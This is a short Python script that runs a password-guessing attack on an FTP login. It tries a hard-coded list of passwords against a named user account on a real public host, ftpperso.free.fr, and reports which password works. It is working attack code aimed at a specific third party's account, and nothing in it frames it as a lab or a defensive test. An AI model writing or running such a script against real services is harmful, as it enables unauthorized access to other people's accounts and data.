ftp_for_nbilleau.py

from ftplib import FTP, error_perm, error_temp

# List passwords
passlist = ["azedaedaze" , "connerre" , "iazevbfhiazev"]
length = len(passlist)

# IP FTP
ftp = FTP('ftpperso.free.fr')
# User FTP
user = "esconnerre"

for p in range(length):
    password = passlist[p]
    ftp = FTP('ftpperso.free.fr')
    try:
        connect = ftp.login(user , password)
        print("OK : " + password)
        break
        ftp.quit()
    except error_perm as e:
        print("FAIL {} on {}: ".format(e, password))
    finally:
        try:
            ftp.quit()
        except error_temp:
            pass